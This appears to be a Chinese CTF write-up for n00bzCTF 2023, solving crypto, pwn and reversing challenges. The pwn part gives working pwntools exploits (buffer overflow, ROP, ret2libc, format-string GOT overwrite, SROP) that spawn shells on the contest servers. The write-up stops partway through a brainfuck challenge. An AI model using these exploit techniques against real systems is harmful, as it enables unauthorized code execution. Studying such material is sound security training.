[n00bzCTF 2023] CPR 全

Crypto

AES

给了java的加密原码,AES加密,有key

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.spec.KeySpec;
import java.util.Base64;

public class AESChallenge {
    private static final String AES_ALGORITHM = "AES";
    private static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA256";
    private static final int ITERATIONS = 10000;
    private static final int KEY_SIZE = 256;

    private static SecretKey generateKey(String password, byte[] salt) throws Exception {
        KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATIONS, KEY_SIZE);
        SecretKeyFactory factory = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
        SecretKey tmp = factory.generateSecret(spec);
        return new SecretKeySpec(tmp.getEncoded(), AES_ALGORITHM);
    }

    private static String encrypt(String plainText, SecretKey key) throws Exception {
        Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
        cipher.init(Cipher.ENCRYPT_MODE, key);
        byte[] encryptedBytes = cipher.doFinal(plainText.getBytes(StandardCharsets.UTF_8));
        return Base64.getEncoder().encodeToString(encryptedBytes);
    }

    public static void main(String[] args) {
        String flag = "REDACTED";
        String password = "aesiseasy";
        byte[] salt = "saltval".getBytes(StandardCharsets.UTF_8);

        try {
            SecretKey key = generateKey(password, salt);
            String encryptedFlag = encrypt(flag, key);
            System.out.println("Encrypted Flag: " + encryptedFlag);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

虽然不怎么熟java,但拿原来的程序稍改一下作个解密还是可以的。然后一运行就OK了,

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.spec.KeySpec;
import java.util.Base64;

public class dec {
    private static final String AES_ALGORITHM = "AES";
    private static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA256";
    private static final int ITERATIONS = 10000;
    private static final int KEY_SIZE = 256;

    private static SecretKey generateKey(String password, byte[] salt) throws Exception {
        KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATIONS, KEY_SIZE);
        SecretKeyFactory factory = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
        SecretKey tmp = factory.generateSecret(spec);
        return new SecretKeySpec(tmp.getEncoded(), AES_ALGORITHM);
    }

    private static String encrypt(String plainText, SecretKey key) throws Exception {
        Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
        cipher.init(Cipher.ENCRYPT_MODE, key);
        byte[] encryptedBytes = cipher.doFinal(plainText.getBytes(StandardCharsets.UTF_8));
        return Base64.getEncoder().encodeToString(encryptedBytes);
    }

    private static String decrypt(String plainText, SecretKey key) throws Exception {
        Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
        cipher.init(Cipher.DECRYPT_MODE, key);
		byte[] decodedb64 = Base64.getDecoder().decode(plainText);
        byte[] encryptedBytes = cipher.doFinal(decodedb64);
        return new String(encryptedBytes, "utf-8");
    }

    public static void main(String[] args) {
        String encflag = "FOqxc90aMQZydCQb2MUm5tj4kRIxxVeCDWzAANfOrr8JItHYneUHhSV0awvQIo/8E1LtfYm/+VVWz0PDK6MXp38BWHoFDorhdS44DzYj9CQ=";
        String password = "aesiseasy";
        byte[] salt = "saltval".getBytes(StandardCharsets.UTF_8);

        try {
            SecretKey key = generateKey(password, salt);
            String encryptedFlag = decrypt(encflag, key);
            System.out.println("Encrypted Flag: " + encryptedFlag);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
#Encrypted Flag: n00bz{1_d0n't_l1k3_a3s_ch4ll3ng3_d0_y0u_lik3?_41703148ed8347adbe238ffbdbaf5e16}

MaaS

一个有远端的猜flag游戏,每个字符可以猜3次,返回数字左移16位后模flag字符的结果,这些数字选择不好就会有取模后相同的,经过几次猜测得到 1,2,9对于26个字符结果都不同。

#!/usr/bin/python3
import random
from Crypto.Util.number import *
flag = open('flag.txt').read()
alpha = 'abcdefghijklmnopqrstuvwxyz'.upper()
to_guess = ''
for i in range(16):
	to_guess += random.choice(alpha)

print(to_guess)
for i in range(len(to_guess)):
	for j in range(3):
		inp = int(input(f'Guessing letter {i}, Enter Guess: '))
		guess = inp << 16
		print(guess % ord(to_guess[i]))
last_guess = input('Enter Guess: ')
if last_guess == to_guess:
	print(flag)
else:
	print('Incorrect! Bye!')
	exit()

然后去算一下就行了

from pwn import *

def guess(a,b,c):
    for i in range(65, 91):
        if (1<<16)%i == a and (2<<16)%i == b and (9<<16)%i == c:
            print(i)
            break
    
    return chr(i)


p = remote('challs.n00bzunit3d.xyz', 51081)
#p = process(['python','chall.py'])
context.log_level = 'debug'

s = ''
for i in range(16):
    p.sendlineafter(b"Guess:", b'1')
    a = int(p.recvline())
    p.sendlineafter(b"Guess:", b'2')
    b = int(p.recvline())
    p.sendlineafter(b"Guess:", b'9')
    c = int(p.recvline())
    s += guess(a,b,c)

p.sendlineafter(b'Enter Guess: ', s.encode())
print(p.recvline())


#n00bz{M0dul0_f7w_1a4d3f5c!}

RSA

这是个RSA题连接远程后会返回e,n,c,由于e=17是固定的,只要取17次然后用CRT再开17次方即可。

from pwn import *
from gmpy2 import iroot
from sage.all import *
from Crypto.Util.number import long_to_bytes

c = []
n = []
for i in range(17):
    p = remote('challs.n00bzunit3d.xyz', 2069)
    e = eval(p.recvline()[4:])
    c.append(eval(p.recvline()[5:]))
    n.append(eval(p.recvline()[4:]))
    p.close()

v = crt(c,n)
m = iroot(v,17)
print(m)
print(long_to_bytes(m[0]))
#(mpz(2970669027690104794419861589361110636027186700218438676106599190503805), True)
#b'n00bz{5m4ll_3_1s_n3v3r_g00d!}'

PWN

pwn1

前边几个都不难,赛方连名字都懒得起了,直接123。

溢出到后门

from pwn import *
p = remote('challs.n00bzunit3d.xyz', 35932)
context.log_level = 'debug'
p.sendlineafter(b'\n', b'\x00'*0x48+ p64(0x401253))
p.sendline(b'cat fla*')
p.interactive()
#n00bz{PWN_1_Cl34r3d_n0w_0nt0_PWN_2!!!}

pwn2

第2个没有直接的后门但是有system和bin/sh

from pwn import *

p = remote('challs.n00bzunit3d.xyz', 61223)
context(arch='amd64',log_level = 'debug')

elf = ELF('./pwn2')
pop_rdi = 0x401196
system = elf.plt['system']
bin_sh = 0x404090
p.sendlineafter(b'\n', b'/bin/sh\x00')
p.sendlineafter(b'\n', b'\x00'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, system))

p.sendline(b'cat fla*')

p.interactive()
#n00bz{3xpl01t_w1th0u7_w1n_5uc355ful!}

pwn3

这个把system也没有了,溢出来是那样

from pwn import *

p = remote('challs.n00bzunit3d.xyz', 42450)
context(arch='amd64',log_level = 'debug')

elf = ELF('./pwn3')
pop_rdi = 0x401232
main = 0x4011db

p.sendlineafter(b'\n', b'\x00'*0x28+ flat(pop_rdi, elf.got['puts'], elf.sym['puts'], main))
p.recvline()

libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x80ed0
system = libc_base + 0x50d60
bin_sh = libc_base + 0x1d8698
print(f"{libc_base = :x}")

p.sendlineafter(b'\n', b'\x00'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, system, main))

p.sendline(b'cat fla*')

p.interactive()
#n00bz{1f_y0u_h4ve_n0th1ng_y0u_h4ve_l1bc}

strings

从名字上看是格式化字符串漏洞的题。这种题也就那么几种,根据读入数据位置来分,数据在栈内就可以随便改,不在栈内就措指针链,如果没有栈深的rbp链就找argv链。

然后就是改got表或者写rop

最多也就是数据不在栈内再改ret。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+68h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init();
  puts("Do you love strings? ");
  fgets(s, 100, stdin);
  printf(s);
  main2();
  return v6 - __readfsqword(0x28u);
}
unsigned __int64 main2()
{
  FILE *stream; // [rsp+8h] [rbp-38h]
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  stream = fopen("flag.txt", "r");
  fgets(s, 40, stream);
  printf("n00bz{f4k3_fl4g}");
  return v3 - __readfsqword(0x28u);
}

程序执行完printf就去执行main2然后就退出了(main2没有溢出也没有printf),

        所以第1步是造个循环。这里由于got表可写,可以把main2里的函数改为main形成循环,main2里可用的函数由于fgets,printf在main里都用,所以只能改fopen(感觉不读flag有点可惜了)

        第二步由于有个无限循环可以慢慢写,由于读入只有100字节,需要手工处理一下。fmtstr_payload自动生成的会比较长。

        这里把printf改成system,然后输入/bin/sh让他执行。

from pwn import *

#p = process('./strings')
p = remote('challs.n00bzunit3d.xyz', 7150)
context(arch='amd64', log_level='debug')

elf = ELF('./strings')

#gdb.attach(p, 'b*0x401315\nc')

#fopen->main
target = elf.got['fopen']
pay = fmtstr_payload(6,{target: elf.sym['main']})

p.sendlineafter(b'Do you love strings? \n', pay)

pay = b'%7$s....'+p64(elf.got['printf'])
p.sendlineafter(b'Do you love strings? \n', pay)
libc_base = u64(p.recv(6)+ b'\x00'*2) - 0x60770
print(f"{libc_base = :x}")

system = libc_base + 0x50d60
#pay = fmtstr_payload(6,{elf.got['printf']: system})
#print(pay)
v1 = system&0xff 
v2 = (system>>8)&0xff
v3 = (system>>16)&0xff
w2 = (v2-v1)&0xff
w3 = (v3-v2)&0xff
pay = f"%{v1}c%12$hhn%{w2}c%13$hhn%{w3}c%14$hhn".ljust(0x30,'A')
pay = pay.encode() + flat(elf.got['printf'], elf.got['printf']+1, elf.got['printf']+2)
p.sendlineafter(b'Do you love strings? \n', pay)

p.sendlineafter(b'Do you love strings? \n', b'/bin/sh\x00')


p.interactive()

ASM

代码就这么一点,一时卡住了,不知怎么处理,没能rdi

.text:0000000000401000 B8 01 00 00 00                mov     eax, 1
.text:0000000000401005 BF 01 00 00 00                mov     edi, 1                          ; fd
.text:000000000040100A 48 BE 00 20 40 00 00 00 00 00 mov     rsi, offset msg                 ; buf
.text:0000000000401014 BA 0F 00 00 00                mov     edx, 0Fh                        ; count
.text:0000000000401019 0F 05                         syscall                                 ; LINUX - sys_write
.text:000000000040101B 48 83 EC 20                   sub     rsp, 20h
.text:000000000040101F B8 00 00 00 00                mov     eax, 0
.text:0000000000401024 BF 00 00 00 00                mov     edi, 0                          ; fd
.text:0000000000401029 48 89 E6                      mov     rsi, rsp                        ; buf
.text:000000000040102C BA 00 02 00 00                mov     edx, 200h                       ; count
.text:0000000000401031 0F 05                         syscall                                 ; LINUX - sys_read
.text:0000000000401033 48 83 C4 20                   add     rsp, 20h
.text:0000000000401037 C3                            retn
.text:0000000000401037
.text:0000000000401037                               vuln endp
.text:0000000000401037
.text:0000000000401038
.text:0000000000401038                               ; =============== S U B R O U T I N E =======================================
.text:0000000000401038
.text:0000000000401038
.text:0000000000401038                               ; signed __int64 start()
.text:0000000000401038                               public _start
.text:0000000000401038                               _start proc near                        ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401038 E8 C3 FF FF FF                call    vuln
.text:0000000000401038
.text:000000000040103D B8 3C 00 00 00                mov     eax, 3Ch ; '<'
.text:0000000000401042 BF 00 00 00 00                mov     edi, 0                          ; error_code
.text:0000000000401047 0F 05                         syscall                                 ; LINUX - sys_exit
.text:0000000000401049 C3                            retn

最后还是从名字上得到入口,文件名叫srop_me显然是用srop,也就是通过中断15恢复现场,在sigreturn里设置对应寄存器得到shell

rax通过read的返回长度得到,然后调用syscall;ret+frame

from pwn import *

#p = process('./srop_me')
p = remote('challs.n00bzunit3d.xyz', 38894)
context(arch='amd64', log_level='debug')

#gdb.attach(p, 'b*0x401031\nc')

sh_address = 0x40200f
syscall_ret = 0x401047
sys_read = 0x401000

frame=SigreturnFrame()  #pwntools集成的srop工具
frame.rax = constants.SYS_execve
frame.rdi = sh_address
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

pay = b'A'*0x20+ flat(sys_read, syscall_ret) + flat(frame)

p.sendafter(b'Hello, world!!\n', pay)
p.sendafter(b'Hello, world!!\n', b'X'*15)


p.interactive()
#n00bz{SR0P_1$_s0_fun_r1ght??!}

REV

wellcome

略,flag在ida里可见

mypin 

也没什么线索,vengx替我解决了遗憾,反编译后的原码分两块,这是个按钮,点点点,它去调用secret里的process

public class Mypin {
    private JFrame frame = new JFrame("Guess the pin");
    private JLabel output = new JLabel();

    Mypin() {
        this.output.setBounds(20, 250, 360, 20);
        JLabel jLabel = new JLabel("Your data:");
        jLabel.setBounds(20, 235, 100, 20);
        this.frame.add(jLabel);
        this.frame.add(this.output);
        this.frame.add(new PinButton(this, "0", 43, 10, 150, 150));
        this.frame.add(new PinButton(this, "1", 198, 10, 150, 150));
        this.frame.add(new ResetButton(this, 43, 165, 305, 50));
        this.frame.setSize(400, 350);
        this.frame.setLayout((LayoutManager) null);
        this.frame.setVisible(true);
        this.frame.setDefaultCloseOperation(3);
    }

    public static void main(String[] strArr) {
        new Mypin();
    }

    public void clearOutput() {
        this.output.setText("");
    }

    public void updateOutput() {
        this.output.setText(Secret.getInstance().getData());
    }
}

package defpackage;

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;

/* compiled from: Mypin.java */
/* renamed from: PinButton  reason: default package */
/* loaded from: My-pin.jar:PinButton.class */
class PinButton extends JButton implements ActionListener {
    Mypin app;

    /* JADX INFO: Access modifiers changed from: package-private */
    public PinButton(Mypin mypin, String str, int i, int i2, int i3, int i4) {
        super(str);
        this.app = mypin;
        addActionListener(this);
        setBounds(i, i2, i3, i4);
    }

    public void actionPerformed(ActionEvent actionEvent) {
        Secret.getInstance().process(getText().charAt(0));
        this.app.updateOutput();
    }
}

Secret加密比较复杂,复杂到看不明白他在干啥

public class Secret {
    private static Secret instance = new Secret();
    private int cnt = 1;
    private int[] mydata = {0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0};
    private int[] box = new int[this.mydata.length / 9];

    private Secret() {
    }

    public static Secret getInstance() {
        return instance;
    }

    public void resetInstance() {
        instance = new Secret();
    }

    public void process(char c) {
        if (this.cnt > 9) {
            return;
        }
        int length = this.mydata.length / 9;
        for (int i = 1; i <= length; i++) {
            int i2 = (9 * i) - this.cnt;
            int i3 = this.box[i - 1] + this.mydata[i2] + (c - '0');
            this.mydata[i2] = i3 % 2;
            if (i3 >= 2) {
                this.box[i - 1] = 1;
            } else {
                this.box[i - 1] = 0;
            }
        }
        this.cnt++;
    }

    private String misteri(int i) {
        String str = "";
        int i2 = 0;
        int i3 = 1;
        while (i > 0) {
            i2 |= (i & 1) << ((i3 % 8) - 1);
            i >>= 1;
            if (i3 % 8 == 0) {
                if (32 <= i2 && i2 < 128) {
                    str = ((char) i2) + str;
                }
                i2 = 0;
            }
            i3++;
        }
        return ((char) i2) + str;
    }

    public String getData() {
        int length = this.mydata.length / 9;
        String str = "";
        int i = 5;
        int i2 = 0;
        for (int i3 = 1; i3 <= length; i3++) {
            int i4 = 0;
            int i5 = 1;
            for (int i6 = 1; i6 <= 8; i6++) {
                i4 += this.mydata[(9 * i3) - i6] * i5;
                i5 <<= 1;
            }
            i--;
            i2 = (int) (i2 + ((i4 - 33) * Math.pow(85.0d, i)));
            if (i == 0) {
                str = str + misteri(i2);
                i2 = 0;
                i = 5;
            }
        }
        while (i > 0) {
            i--;
            i2 = (int) (i2 + (84.0d * Math.pow(85.0d, i)));
        }
        return str + misteri(i2);
    }
}

第9个一组每组从后向前与输入的key(9位)与box相加,本位存回mydata进位存入box,实际上就是个加法,key用[0,256]爆破.Secret类保持不变,建Pin类爆破

public class Pin {
    public static void main(String[] args) {
        for (int i = 0; i < 512; i++) {
            String pin = String.format("%9s", Integer.toBinaryString(i)).replace(' ', '0');
            Secret secret = Secret.getInstance();
            secret.resetInstance();
            for (char c : pin.toCharArray()) {
                secret.process(c);
            }
            String data = secret.getData();
            //System.out.println(data);
            if(data.contains("n00bz")) {
                System.out.println("PIN: " + pin + ", Flag: " + data);
            }
        }
    }
}

 C:\.....\java.exe Pin
PIN: 010110100, Flag: n00bz{y0uuu_n33d_t0_bRutefoRc3_1s_e4zyY_}  
PIN: 010110101, Flag: n00bz{y0uuu_n33d_t0_bRutefoRc3_1s_e4zyY_}  

ezrev

用jadx打不开的class文件,网上搜文件结构,发现主版本号的位置太大,3f改为34打开

import java.util.Arrays;

public class EZrev {
  public static void main(String[] paramArrayOfString) {
    if (paramArrayOfString.length != 1) {
      System.out.println("L");
      return;
    } 
    String str = paramArrayOfString[0];
    if (str.length() != 31) {
      System.out.println("L");
      return;
    } 
    int[] arrayOfInt1 = str.chars().toArray();
    byte b;
    for (b = 0; b < arrayOfInt1.length; b++) {
      if (b % 2 == 0) {
        arrayOfInt1[b] = (char)(arrayOfInt1[b] ^ 0x13);
      } else {
        arrayOfInt1[b] = (char)(arrayOfInt1[b] ^ 0x37);
      } 
    } 
    for (b = 0; b < arrayOfInt1.length / 2; b++) {
      if (b % 2 == 0) {
        int i = arrayOfInt1[b] - 10;
        arrayOfInt1[b] = (char)(arrayOfInt1[arrayOfInt1.length - 1 - b] + 20);
        arrayOfInt1[arrayOfInt1.length - 1 - b] = (char)i;
      } else {
        arrayOfInt1[b] = (char)(arrayOfInt1[b] + 30);
      } 
    } 
    int[] arrayOfInt2 = { 
        130, 37, 70, 115, 64, 106, 143, 34, 54, 134, 
        96, 98, 125, 98, 138, 104, 25, 3, 66, 78, 
        24, 69, 91, 80, 87, 67, 95, 8, 25, 22, 
        115 };
    if (Arrays.equals(arrayOfInt1, arrayOfInt2)) {
      System.out.println("W");
    } else {
      System.out.println("L");
    } 
  }
}

很简单的先分组异或再分组移位

a = [130, 37, 70, 115, 64, 106, 143, 34, 54, 134, 96, 98, 125, 98, 138, 104, 25, 3, 66, 78, 24, 69, 91, 80, 87, 67, 95, 8, 25, 22, 115]

for i in range(len(a)//2):
    if i%2 == 0:
        a[i],a[len(a)-1-i] = a[len(a)-1-i]+10, a[i]-20 
    else:
        a[i] -= 30 

a = [v^0x13 if i%2==0 else v^0x37 for i,v in enumerate(a)]
bytes(a)
#n00bz{r3v_1s_s0_e4zy_r1ght??!!}

zzz

这个也没啥说的,就是很麻烦z3一把梭

int __fastcall check(char *a1)
{
  if ( *a1 >> 4 != 6 )
    bye();
  if ( a1[1] != a1[2] )
    bye();
  if ( ((unsigned __int8)a1[3] | (unsigned __int8)a1[6]) != 122
    || ((unsigned __int8)a1[3] & (unsigned __int8)a1[6]) != 66 )
  {
    bye();
  }
  if ( a1[4] != a1[28] )
    bye();
  if ( a1[5] * a1[29] != 15375 )
    bye();
  if ( a1[7] + a1[6] + a1[8] != 302 || a1[6] * a1[7] - a1[8] != 10890 )
    bye();
  if ( a1[9] - a1[8] != 5 || a1[10] - a1[9] != 27 || ((unsigned __int8)a1[11] ^ (unsigned __int8)a1[10]) != 32 )
    bye();
  if ( a1[12] != a1[15] || a1[12] + a1[11] != 180 || a1[13] + a1[12] != 185 )
    bye();
  if ( a1[14] + a1[13] - a1[16] != a1[13] )
    bye();
  if ( a1[16] + a1[17] != 217 || a1[17] != a1[13] )
    bye();
  if ( a1[16] + a1[14] != 2 * a1[14] )
    bye();
  if ( a1[18] != 90 || a1[18] != a1[19] || ((unsigned __int8)(a1[20] ^ a1[19]) ^ (unsigned __int8)a1[21]) != 127 )
    bye();
  if ( ((unsigned __int8)a1[22] ^ (unsigned __int8)(a1[21] ^ a1[20])) != a1[21] )
    bye();
  if ( a1[21] != 95 || a1[24] + a1[6] != 180 )
    bye();
  if ( ~a1[23] + a1[24] != -33 )
    bye();
  if ( a1[25] != a1[9] )
    bye();
  if ( a1[26] + a1[27] != 212 )
    bye();
  if ( a1[27] != a1[28] )
    bye();
  return puts("You got it!");
}

把代码复制过来,然后作个搜索替换,然后再作些小修。最后加上头和尾

from z3 import *

a1 = [BitVec(f'a_{i}',8) for i in range(30)]
s = Solver()
for i in range(30):
    s.add(a1[i]>0x20)
    s.add(a1[i]<0x7f)

for i,v in enumerate(b'n00bz{'):
    s.add(a1[i] == v)

s.add(a1[29] == ord('}'))

s.add( a1[0] >> 4 == 6 )
s.add( a1[1] == a1[2] )
s.add( (a1[3] | a1[6]) == 122 )
s.add( a1[3] & a1[6] == 66 )
s.add( a1[4] == a1[28] )
s.add( a1[5] * a1[29] == 15375 )
s.add( a1[7] + a1[6] + a1[8] == 302 )
s.add( a1[6] * a1[7] - a1[8] == 10890 )
s.add( a1[9] - a1[8] == 5 )
s.add( a1[10] - a1[9] == 27 )
s.add( a1[11] ^ a1[10] == 32 )
s.add( a1[12] == a1[15] )
s.add( a1[12] + a1[11] == 180 )
s.add( a1[13] + a1[12] == 185 )
s.add( a1[14] + a1[13] - a1[16] == a1[13] )
s.add( a1[16] + a1[17] == 217 )
s.add(a1[17] == a1[13] )
s.add( a1[16] + a1[14] == 2 * a1[14] )
s.add( a1[18] == 90 )
s.add(a1[18] == a1[19] )
s.add((a1[20] ^ a1[19] ^ a1[21]) == 127 )
s.add( (a1[22] ^ (a1[21] ^ a1[20])) == a1[21] )
s.add( a1[21] == 95 )
s.add( a1[24] + a1[6] == 180 )
s.add( ~a1[23] + a1[24] == -33 )
s.add( a1[25] == a1[9] )
s.add( a1[26] + a1[27] == 212 )
s.add( a1[27] == a1[28] )

s.check()
d = s.model()
flag = bytes([d[a1[i]].as_long() for i in range(30)])
print(flag)
#n00bz{ZzZ_zZZ_zZz_ZZz_zzZ_Zzz}

VM

代码很简单的虚拟机,然后写了对应的解码程序

__int64 execute()
{
  int v0; // ecx
  int v1; // eax
  int v2; // edx
  int v3; // eax
  __int64 result; // rax
  signed int i; // [rsp+8h] [rbp-8h]
  int v6; // [rsp+8h] [rbp-8h]
  int v7; // [rsp+8h] [rbp-8h]
  int v8; // [rsp+8h] [rbp-8h]
  int v9; // [rsp+8h] [rbp-8h]
  int v10; // [rsp+8h] [rbp-8h]
  int v11; // [rsp+8h] [rbp-8h]
  int v12; // [rsp+8h] [rbp-8h]
  int v13; // [rsp+8h] [rbp-8h]
  int v14; // [rsp+8h] [rbp-8h]
  int v15; // [rsp+Ch] [rbp-4h]
  int v16; // [rsp+Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( (unsigned int)i > 0x1FF )
      break;
    if ( (unsigned int)program[i] > 0xE )
    {
      puts("ERROR: Unknown instruction!");
      exit(-1);
    }
    switch ( program[i] )
    {
      case 0:
        puts("NOP");
        break;
      case 1:
        v0 = program[++i];
        v1 = dword_46C0++;
        stack[v1] = r[v0];
        break;
      case 2:
        r[program[++i]] = stack[--dword_46C0];
        break;
      case 3:
        v7 = i + 1;
        v16 = program[v7];
        i = v7 + 1;
        r[v16] = r[program[i]];
        break;
      case 4:
        v6 = i + 1;
        v15 = program[v6];
        i = v6 + 1;
        r[v15] = program[i];
        break;
      case 5:
        v8 = i + 1;
        r[program[v8]] += r[program[v8 + 1]];
        i = v8 + 1;
        break;
      case 6:
        v9 = i + 1;
        r[program[v9]] -= r[program[v9 + 1]];
        i = v9 + 1;
        break;
      case 7:
        v10 = i + 1;
        r[program[v10]] *= r[program[v10 + 1]];
        i = v10 + 1;
        break;
      case 8:
        v11 = i + 1;
        r[program[v11]] /= r[program[v11 + 1]];
        i = v11 + 1;
        break;
      case 9:
        v12 = i + 1;
        r[program[v12]] ^= r[program[v12 + 1]];
        i = v12 + 1;
        break;
      case 10:
        v13 = i + 1;
        r[program[v13]] &= r[program[v13 + 1]];
        i = v13 + 1;
        break;
      case 11:
        v14 = i + 1;
        r[program[v14]] |= r[program[v14 + 1]];
        i = v14 + 1;
        break;
      case 12:
        printf("%ld\n", r[program[++i]]);
        break;
      case 13:
        v2 = getchar();
        v3 = dword_46C0++;
        stack[v3] = v2;
        break;
      case 14:
        exit(0);
    }
  }
  return result;
}

然后把解码程序删掉。这题有点坑呀,用010打开能看到

bf

 确实难住了,这里边最难的一个题(只有之一)

给的是一段brainf*ck的代码,直接运行无结果只能慢慢啃。

>->>>>>,[----------[++++++++++>>>>>,>]<]>---<+[-<+]->>>>>[<+++++++++++++++++++++
+++++++++++[>>[-]+>[-]<<-<->[>-]>[-<<[-]>>>]<<<]>+++++++++++++++++++++++++++++++
++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++<[>->+<[>]>[<+>-]<<[<]>-]>[-]>[-<<+>>]>>>]+[-<+]-
>>>>>-------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------
-----------------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++
]]>>>>>---------------------------------------------------------------[[-]--+[-<
+]-<[-]+>++[-->++]]>>>>>-------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---
----------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------
--------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>--------
--[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>--------------------------------------------
-------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------
-----------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>
++[-->++]]>>>>>-----------------------------------------------------------------
----[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------------------------------
---------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-------------------------
----------------------------------------------------------[[-]--+[-<+]-<[-]+>++[
-->++]]>>>>>----------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------
----------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>
-------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------
-------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---------------------------------------
------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>----------------
-----------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>
>---------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------------
-------------------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>---
--------------------------------------------------------------------------------
---------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>------------------------------[[-]--+
[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------------------------------
-----------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------------
-----------------------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------
-----[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------------------------
-----------------------[[-]--+[-<+]-<[-]+>++[-->++]]>>>>>-----------------------
